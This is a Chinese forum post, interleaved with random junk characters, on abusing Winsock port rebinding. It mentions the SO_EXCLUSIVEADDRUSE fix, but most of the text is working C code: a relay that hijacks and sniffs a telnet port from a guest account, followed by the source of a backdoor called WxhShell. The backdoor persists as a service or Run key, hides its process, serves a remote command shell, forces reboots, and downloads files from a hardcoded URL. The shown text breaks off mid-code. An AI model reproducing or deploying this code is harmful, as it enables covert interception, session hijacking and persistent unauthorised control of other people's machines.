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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ty*@7g0k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L0tAgW!@  
3neIR@W  
  saddr.sin_family = AF_INET; dGFGr}&s  
T7d9ChU\#.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }GZ}Q5  
`p7&> BOA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1s{^X -  
{nvLPUL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GKFq+]W  
3RR_fmMT)  
  这意味着什么?意味着可以进行如下的攻击: F`9ZH.  
jvV9eA:zl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <@Fy5k-%.  
N]<!j$pOz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L   
~2zM kVH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  HC a  
wu4NLgkE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  NSFs\a@1  
{M?vBg R\B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .^m>AKC0cX  
q=DN {a:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h'$ 9C  
&09U@uc$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RNhJ'&SYs  
n9\]S7] 52  
  #include -#Z bR  
  #include WzI8_uM  
  #include W{rt8^1  
  #include    W5'3$,X9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .]9c/  
  int main() T1r3=Y4  
  { WMBm6?54  
  WORD wVersionRequested; `r_m+]  
  DWORD ret; k~|-gf FP  
  WSADATA wsaData;  =Mb1o[  
  BOOL val; (}5S  
  SOCKADDR_IN saddr; s9>(Jzcf9  
  SOCKADDR_IN scaddr; 2*w:tT8+X  
  int err; ~(@ E`s&{  
  SOCKET s; | /|  
  SOCKET sc; `WOYoec   
  int caddsize; yj$TPe_BW  
  HANDLE mt; ZDC9oX @  
  DWORD tid;   bI y sl  
  wVersionRequested = MAKEWORD( 2, 2 ); BkZV!Eg  
  err = WSAStartup( wVersionRequested, &wsaData ); 4 8{vE3JY  
  if ( err != 0 ) { i9D0]3/>  
  printf("error!WSAStartup failed!\n"); v*qQ? S  
  return -1; <uc1D/~^:  
  } 2EK%N'H  
  saddr.sin_family = AF_INET; `W-&0|%Ta  
   @YH+c G|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nWvuaQ0}  
,= &B28Qe)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IB`>'~s&A  
  saddr.sin_port = htons(23); "aFhkPdWn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QERU5|.wc  
  { F>X-w+b4r  
  printf("error!socket failed!\n"); " sgjWo6  
  return -1; P/ oXDI8  
  } :~ A%#  
  val = TRUE; z 8*8OWM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KnNh9^4"\2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }rdIUlVO\  
  { c0Dmq)HK?  
  printf("error!setsockopt failed!\n"); kpI{KISQu  
  return -1; \M"UmSB o  
  } 4W#E`9 6u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D)brPMS:o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m"9XT)N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 WpLZQ6wH  
u<n`x6gL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Do]*JO)(  
  { f N "tA  
  ret=GetLastError(); P &)1Rka  
  printf("error!bind failed!\n"); -OYDe@Wb]  
  return -1; bhs(Qzx  
  } &|<xqt  
  listen(s,2); >l+EJ3W  
  while(1) ,b$2=JO'f  
  { T`9-VX;`  
  caddsize = sizeof(scaddr); TFepxF  
  //接受连接请求 CVi`bO4\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ce'pis   
  if(sc!=INVALID_SOCKET) 3},Zlu  
  { sK 2 e&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9%IlW  
  if(mt==NULL) #2:a[ ~Lf  
  { jb /8?7  
  printf("Thread Creat Failed!\n"); 4{qB X?  
  break; i\H+X   
  } i%#$*  
  } =_[Z W  
  CloseHandle(mt); FhIqy %X  
  } 1|?K\B  
  closesocket(s); w^1Fi8+  
  WSACleanup(); 3qQUpm+  
  return 0; = zl= SLe  
  }   {$M;H+Foh  
  DWORD WINAPI ClientThread(LPVOID lpParam) )n=ARDd^e  
  { V5D`eX9  
  SOCKET ss = (SOCKET)lpParam; LjdYsai-  
  SOCKET sc; @:x"]!1  
  unsigned char buf[4096]; Q!M)xNl/  
  SOCKADDR_IN saddr; 7);:ZpDv%L  
  long num; *g;-H&`  
  DWORD val; I|/'Ds:  
  DWORD ret; @+_&Y]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8#` 6M5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E:nt)Ef,  
  saddr.sin_family = AF_INET; 1zktU.SZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A{<xc[w;p  
  saddr.sin_port = htons(23); =raA?Bp3;(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c0 WFlj9b  
  { y@wF_WX2  
  printf("error!socket failed!\n"); -iCcoA  
  return -1; &D#+6M&LK{  
  } +[m8c){  
  val = 100;  <1&Ke  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <3hA!$o~  
  { K<v:-TjQZ:  
  ret = GetLastError(); ,PWj_}|L[  
  return -1; *wi}>_\  
  } Q;nAPS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mo1 puU  
  { Icp0A\L@  
  ret = GetLastError(); :[M[(  
  return -1; %McO6.M@  
  } 4(vyp.f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0p fnV%  
  { 2:$ k  
  printf("error!socket connect failed!\n"); uG>nV  
  closesocket(sc); gUB{Bh($Y  
  closesocket(ss); K%}}fw2RMN  
  return -1; Y(GN4@`S  
  } <E':[.zC  
  while(1) _ ^7|!(Sz  
  { LEh)g[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i=v]:TOu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fY2wDD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J?P]EQU  
  num = recv(ss,buf,4096,0); |t\|:E>" }  
  if(num>0) ,2WH/"  
  send(sc,buf,num,0); m%QqmTH  
  else if(num==0) |ia@,*KD  
  break; r9ke,7?  
  num = recv(sc,buf,4096,0); i ilyw_$H  
  if(num>0) X9~m8c){z  
  send(ss,buf,num,0); wVi%oSfM  
  else if(num==0) ~hURs;Sb  
  break; ${U6=  
  } oVZ4bRl   
  closesocket(ss); <?$kI>Ot  
  closesocket(sc); |0{ i9 .=  
  return 0 ; Kla:e[{  
  } 6CNS%\A  
^{[`=P'/  
w1B<0'#  
========================================================== FsCwF&/q  
zj]b&In6;  
下边附上一个代码,,WXhSHELL QJ];L7Hbo  
# bX~=`  
========================================================== _g6m=N4  
Sb^ b)q"  
#include "stdafx.h" gJ\%>r7h  
Ugi5OKdj7)  
#include <stdio.h> Xyv8LB  
#include <string.h> K="I<bK  
#include <windows.h> Kj*m r%IaU  
#include <winsock2.h> 4`mO+.za1  
#include <winsvc.h> wL<j:>Ke[3  
#include <urlmon.h> ~4s-S3YzaM  
Um ;kd&#x  
#pragma comment (lib, "Ws2_32.lib") KR3-Hb4  
#pragma comment (lib, "urlmon.lib") C<he4n.  
K[ ?R[  
#define MAX_USER   100 // 最大客户端连接数 dE>v\0 3!8  
#define BUF_SOCK   200 // sock buffer r`]7S_t5T  
#define KEY_BUFF   255 // 输入 buffer - s|t^  
~eo^`4O{{  
#define REBOOT     0   // 重启 GqjO>v fy  
#define SHUTDOWN   1   // 关机 ZBj6KqfST%  
`F,zenk=  
#define DEF_PORT   5000 // 监听端口 ez0\bym  
>=!AL,:  
#define REG_LEN     16   // 注册表键长度 rh$1-Y  
#define SVC_LEN     80   // NT服务名长度 u ~71l)LA  
-Uf4v6A  
// 从dll定义API gStY8Z!k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v_-ls"l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >5i?JUZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +-HE '4mo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C MqM;1  
}Z6nN)[|0Y  
// wxhshell配置信息 h Z#\t  
struct WSCFG { -]&<Sr-  
  int ws_port;         // 监听端口 fjkT5LNx k  
  char ws_passstr[REG_LEN]; // 口令 # J.u  
  int ws_autoins;       // 安装标记, 1=yes 0=no R+^zy"~  
  char ws_regname[REG_LEN]; // 注册表键名 oWcACs3fB  
  char ws_svcname[REG_LEN]; // 服务名 yGV{^?yoP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b@-)Fy4d2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P`!Ak@N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9`&77+|;e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a-Fqp4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" --/-D5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &V;x 4  
sUda   
}; B_@7IbB  
6 ZHv,e`?  
// default Wxhshell configuration nE<J`Wo$f  
struct WSCFG wscfg={DEF_PORT, Y?.gfEXSQo  
    "xuhuanlingzhe", >'0lw+a  
    1, g!`BXmW  
    "Wxhshell", ,$i<@2/=m  
    "Wxhshell", Qrz*Lvle h  
            "WxhShell Service", X0x_+b? _  
    "Wrsky Windows CmdShell Service", ]1Qi=2'  
    "Please Input Your Password: ", ;5RIwD  
  1, y(a}IM3~  
  "http://www.wrsky.com/wxhshell.exe", 'WnpwY  
  "Wxhshell.exe" 6+#,=!hF{  
    }; (6[Wr}SW5  
(\q[gyR  
// 消息定义模块 jQIV2TY[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &`sR){R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {9:hg9;E*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L3>4t: 8  
char *msg_ws_ext="\n\rExit."; (o{)>D  
char *msg_ws_end="\n\rQuit."; -~]^5aa5n  
char *msg_ws_boot="\n\rReboot..."; 4i96UvkZ  
char *msg_ws_poff="\n\rShutdown..."; q]?+By-0  
char *msg_ws_down="\n\rSave to "; @_uFX!;  
}Y$VB%&Hy  
char *msg_ws_err="\n\rErr!"; `NoCH[$!+  
char *msg_ws_ok="\n\rOK!"; I9:%@g]uYw  
Z[bv0Pr  
char ExeFile[MAX_PATH]; ,m"l\jP  
int nUser = 0; 0, "ZV}  
HANDLE handles[MAX_USER]; JSUzEAKe  
int OsIsNt; 2?pM5n  
R''Sfz>8  
SERVICE_STATUS       serviceStatus; X?_v+'G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P ]_Vz  
L`JY4JM"  
// 函数声明 ;lkf+,;  
int Install(void); zlN+edgY#,  
int Uninstall(void); ?xf~!D  
int DownloadFile(char *sURL, SOCKET wsh); t3M0La&  
int Boot(int flag); KD9Ca $-  
void HideProc(void); td`wNy\  
int GetOsVer(void); cG5$lB  
int Wxhshell(SOCKET wsl); ] : Wb1  
void TalkWithClient(void *cs); 9cbB[c_.  
int CmdShell(SOCKET sock); 0YHYxn  
int StartFromService(void); &,Uc>L%m  
int StartWxhshell(LPSTR lpCmdLine); RDJ82{  
I BF.&[[S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $&NbLjeS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [y$j9  
=1_jaDp  
// 数据结构和表定义 ),z,LU Yf  
SERVICE_TABLE_ENTRY DispatchTable[] = 2@4MC`&  
{ bv_AJ4gS  
{wscfg.ws_svcname, NTServiceMain}, r ufRaar  
{NULL, NULL} 8Q +TE;  
}; 2GUhV*TN  
~'|&{-<  
// 自我安装 bwT"$Ee  
int Install(void) WoJ]@Me8  
{ jeyaT^F(   
  char svExeFile[MAX_PATH]; ) +*@AM E  
  HKEY key; wN$uX#W|  
  strcpy(svExeFile,ExeFile); KS8\F0q  
R2'C s  
// 如果是win9x系统,修改注册表设为自启动 g9! d pP  
if(!OsIsNt) { F 'fM?!(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Ud.SJ 3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jWz|K  
  RegCloseKey(key); 9n-RXVL+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?T~3B]R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FP0<-9DO  
  RegCloseKey(key); Y'\3ux0]4'  
  return 0; o(vZ*^\  
    } mq>*W' M  
  } -_:JQ  
} (d1V1t2r6  
else { T9,lblU Q  
G`&'Bt{Z*  
// 如果是NT以上系统,安装为系统服务 ]ZBgE\[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `,<>){c|  
if (schSCManager!=0) !<JG&9ODP  
{ 7ZrJ#n8?ih  
  SC_HANDLE schService = CreateService (%=lq#,   
  ( b'i%B9yU:%  
  schSCManager, <%T%NjNPQ  
  wscfg.ws_svcname, tauP1&%oH{  
  wscfg.ws_svcdisp, :6qUSE  
  SERVICE_ALL_ACCESS, {5?!`<fF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IiQWs1  
  SERVICE_AUTO_START, Yf%[6Y{  
  SERVICE_ERROR_NORMAL, 2-/YYe;C  
  svExeFile, 5LnB]dW  
  NULL, Qq6%53  
  NULL, a2 IV!0x  
  NULL, L|vaTidc0  
  NULL, \v B9fA:*  
  NULL \["1N-q b  
  ); 9~*_(yjF  
  if (schService!=0) r5<e}t-  
  { rGP? E3  
  CloseServiceHandle(schService); U* c{:K-C  
  CloseServiceHandle(schSCManager); .T[!!z#^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n$A(6]z5O  
  strcat(svExeFile,wscfg.ws_svcname); \q>e1-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { = D;UMSf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]*t*/j;N  
  RegCloseKey(key); c'm-XL_La  
  return 0; !)=#p9  
    } ,DW0A//  
  } Ji)a%j1V9  
  CloseServiceHandle(schSCManager); CgaB)`.  
} 6-Vl#Lyb  
} w96j,rEC  
S@l a.0HDA  
return 1; %u<&^8EL+#  
} A X^3uRQJ  
xf{C 'uF/  
// 自我卸载  $Adp  
int Uninstall(void) M ?: f^  
{ vs)HbQ  
  HKEY key; (>kBmK1Aj  
'3Y0D1`v  
if(!OsIsNt) { \^^hG5f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4%Z\G@0<'  
  RegDeleteValue(key,wscfg.ws_regname); P,+ 0   
  RegCloseKey(key); 2t~7eI%d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )yz9? ]a  
  RegDeleteValue(key,wscfg.ws_regname); J_)z:`[yE  
  RegCloseKey(key); ! S$oaCxM  
  return 0; Ve')LY<  
  } 9X*eE  
} P"[l86:  
} zrWq!F*-V\  
else {  K{7S  
)x5$io   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "m\UqQGX  
if (schSCManager!=0) lMI ix0sSj  
{ d(dw]6I6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g~WNL^GGS  
  if (schService!=0) b{ubp  
  { S|Ij q3  
  if(DeleteService(schService)!=0) { NUO,"Bqq  
  CloseServiceHandle(schService); FcbA)7dD  
  CloseServiceHandle(schSCManager); 2e D\_IW  
  return 0; S{r)/ ~/  
  } 9-e[S3ziM  
  CloseServiceHandle(schService); (J?}eb;>n  
  } OD2ai]!v+  
  CloseServiceHandle(schSCManager); :pV("tHE  
} PK|`}z9  
} Z-;uzx  
n?ZH2dI \0  
return 1; :[ZC-hc\  
} bC,M&<N  
>?uH#%C5  
// 从指定url下载文件 uk>/I l  
int DownloadFile(char *sURL, SOCKET wsh) FZ'>LZ  
{ l%)=s~6z  
  HRESULT hr; \c@qtIc  
char seps[]= "/"; cq+M *1;  
char *token; |SXMu_w  
char *file; [laL6  
char myURL[MAX_PATH]; WRU@i;l  
char myFILE[MAX_PATH]; ~QQ23k&  
1rzq$,O  
strcpy(myURL,sURL); \t~u : D  
  token=strtok(myURL,seps); S0o,)`ZB  
  while(token!=NULL) \gk3w,B?E  
  { )v$Cv|"  
    file=token; PezWc18  
  token=strtok(NULL,seps); 5/eS1NJ@  
  } ?p/kuv{\o#  
}'M1(W  
GetCurrentDirectory(MAX_PATH,myFILE); Vp0GmZ  
strcat(myFILE, "\\"); S.)8&  
strcat(myFILE, file); -QNMB4  
  send(wsh,myFILE,strlen(myFILE),0); :e9jK[)h0  
send(wsh,"...",3,0); 8T1DcA*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A?Hjz%EcW  
  if(hr==S_OK) Wx\"wlJ7.3  
return 0; x /Ky: Ky  
else G cLp"  
return 1; NByN}e  
g)G7 kB/<p  
} SO jDtZ  
HjY-b*B  
// 系统电源模块 R`3>0LrC8  
int Boot(int flag) keq[ 6Lv  
{  f"=4,  
  HANDLE hToken; SJuf`  
  TOKEN_PRIVILEGES tkp; Pc-8L]2oaF  
qt&"cw  
  if(OsIsNt) { JSZ j0_ B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5FR#_}k]_F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \?ws0Ax  
    tkp.PrivilegeCount = 1; X52jqXjg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n|`):sP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %'~<:>:"E  
if(flag==REBOOT) { ~v,KI["o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z 5YW L4s  
  return 0; 8`*9jr  
} %D6Wlf+^n  
else { ~q%9zO'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #RIfR7`T  
  return 0; <{).x 6  
} Z*Hxrw\!0  
  } E@}j}/%'O  
  else { l8d%hQVqT  
if(flag==REBOOT) { 7G=P|T\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Da[X HUk  
  return 0; L$kAe1 V^m  
} 6V?&hq&t  
else { |JQP7z6j]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hADb]O  
  return 0; TF3q?0  
} }8]uZ)[p=  
} .A[.?7g  
JfINAaboi  
return 1; 4J$f @6  
} >-o:> 5  
cz~FWk  
// win9x进程隐藏模块 !?M_%fNE  
void HideProc(void) *R6eykp  
{ X@4d~6k?  
F`}w0=-*(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uU !i`8  
  if ( hKernel != NULL ) ={0{X9t?'j  
  { c] 0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +rw3.d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `Qk R  
    FreeLibrary(hKernel); !eoec2h#5  
  } v#2qwd3x  
q9(}wvtr  
return; m@2xC,@  
} Bw7:ry  
%((3'le  
// 获取操作系统版本 K}(n;6\  
int GetOsVer(void) d_qVk4h\  
{ ;xH'%W9z  
  OSVERSIONINFO winfo; c,%>7U(w_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !! #ale&  
  GetVersionEx(&winfo); q5?mP6   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rBPxGBd4  
  return 1; ~:b~f]lO  
  else C$;s+ALy[  
  return 0; !VTS $nJ4  
} s;f u  
>-+X;0&  
// 客户端句柄模块 s1apHwJ -  
int Wxhshell(SOCKET wsl) ;-Dd\\)p  
{ S^n4aBm\+  
  SOCKET wsh; }4MG114j  
  struct sockaddr_in client; sU!q~`; J  
  DWORD myID; I}A#*iD  
C:EoUu  
  while(nUser<MAX_USER) ?qW|k6{O  
{ hs uJ;4}$q  
  int nSize=sizeof(client); Vta;ibdeqW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5DUPsV  
  if(wsh==INVALID_SOCKET) return 1; df rr.i  
({b/J0 <@D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rz7b%WY  
if(handles[nUser]==0) 1T?%i  
  closesocket(wsh); Wfw9cxGkf  
else }X:r:{r  
  nUser++; phSP+/w  
  } _)" 5 gv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4 /vQ=t  
bxHk0w  
  return 0; 2`eu3vA  
} 1vd+p!n  
41D[[Gh  
// 关闭 socket nu -wQr  
void CloseIt(SOCKET wsh) HJrg  
{ Om{ML,d  
closesocket(wsh); CI{TgL:l  
nUser--; <7Lz<{jaJ  
ExitThread(0); (ajX ;/  
} /bk} J:QRg  
NFPkK?+  
// 客户端请求句柄 HWZ*Htr  
void TalkWithClient(void *cs) 7si.]  
{ []^>QsS(X  
rvO+=Tk  
  SOCKET wsh=(SOCKET)cs; Q{kuB+s  
  char pwd[SVC_LEN]; Y[,C1,  
  char cmd[KEY_BUFF]; *~X\c Z  
char chr[1]; Ms3/P|{"p  
int i,j; ]F#kM211  
x B[# a*  
  while (nUser < MAX_USER) { (<-0UR]%q;  
{ ,srj['RS  
if(wscfg.ws_passstr) { KWMH|sxO=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A 76yz`D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mL+ps x+  
  //ZeroMemory(pwd,KEY_BUFF); z [{%.kA  
      i=0; @@&;gWr;  
  while(i<SVC_LEN) { $6Psq=|  
i:To8kdO  
  // 设置超时 `Y9@?s Q  
  fd_set FdRead; D=]P9XDvb.  
  struct timeval TimeOut; |.yRo_  
  FD_ZERO(&FdRead); 2US8<sq+  
  FD_SET(wsh,&FdRead); K~G^jAk+  
  TimeOut.tv_sec=8; A":x<9   
  TimeOut.tv_usec=0; `R;XN-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;[ojwcK[ZF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d1TG[i<J_  
v\u+=}r l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 07&S^ X^/  
  pwd=chr[0]; Pr'py  
  if(chr[0]==0xd || chr[0]==0xa) { 35et+9  
  pwd=0; C%h_!z":  
  break; _uacpN/<|  
  } @ZZ Lh=  
  i++; sj2+|>  
    } rv>6k:(  
u/WkqJvw#  
  // 如果是非法用户,关闭 socket nAOId90wue  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g}7%3D  
} QG ia(  
)^AO?MW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >~k Y{_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H6QQ<~_&  
)Q`<O  
while(1) { n"vI>_|G  
&40d J~SQ  
  ZeroMemory(cmd,KEY_BUFF); |/Z4lcI  
6|x<) Gc  
      // 自动支持客户端 telnet标准   O,PHAwVG%L  
  j=0; Q}]u n]]Zt  
  while(j<KEY_BUFF) { &3M He$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f.WtD`Oas  
  cmd[j]=chr[0]; p+Xz9A"  
  if(chr[0]==0xa || chr[0]==0xd) { pK%'S  
  cmd[j]=0; ! >V 1zk  
  break; NaIVKo  
  } 3dfSu'  
  j++; +{&g|V  
    } L[efiiLh$  
p*G_$"KpP  
  // 下载文件 z> SCv;Q  
  if(strstr(cmd,"http://")) { =Vfj#WL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )U?W+0[=  
  if(DownloadFile(cmd,wsh)) ~ i,my31  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &x}JC/u]fd  
  else  E2l.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 08Gr  
  } #v1 4"sZ}  
  else { ,wjL3c  
1Y_fX  
    switch(cmd[0]) { x.aUuC,$x  
  )yJjJ:re  
  // 帮助 l}{O  
  case '?': { #i? TCO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p O.8>C%  
    break; 1'iRx,  
  } G(L*8U< UG  
  // 安装 -M:.D3,L  
  case 'i': { -Q/Dbz#-  
    if(Install()) ; 1WclQ!(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gNJ\*]SY  
    else $k dfY'u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FM5$83Q  
    break; - >2ej4C  
    } se-}d.PwL  
  // 卸载 tpS F[W  
  case 'r': { BFY~::<b  
    if(Uninstall()) R_csKj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4)?c[aC4P  
    else )+J?(&6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | e+m!G1G  
    break; 15B$Sp!/`e  
    } ZD*>i=S  
  // 显示 wxhshell 所在路径 g`6S*&8I  
  case 'p': { %(i(ZW "  
    char svExeFile[MAX_PATH]; ^^Y0 \3.  
    strcpy(svExeFile,"\n\r"); IkupW|}rc  
      strcat(svExeFile,ExeFile); x&sF_<[  
        send(wsh,svExeFile,strlen(svExeFile),0); ({)_[dJ'  
    break; q /#O :Q  
    } $O[ut.   
  // 重启 ( %bfNs|  
  case 'b': { w ^A0l.{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M9MEQK  
    if(Boot(REBOOT)) e.Ii@<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZyTah\yPM  
    else { ?r/7:  
    closesocket(wsh); lD(d9GVm{z  
    ExitThread(0); X6PfOep  
    } U6{ RHS[  
    break; IBR;q[Dj}  
    } k,H4<")H  
  // 关机 wvfCj6}S &  
  case 'd': { v / a/  
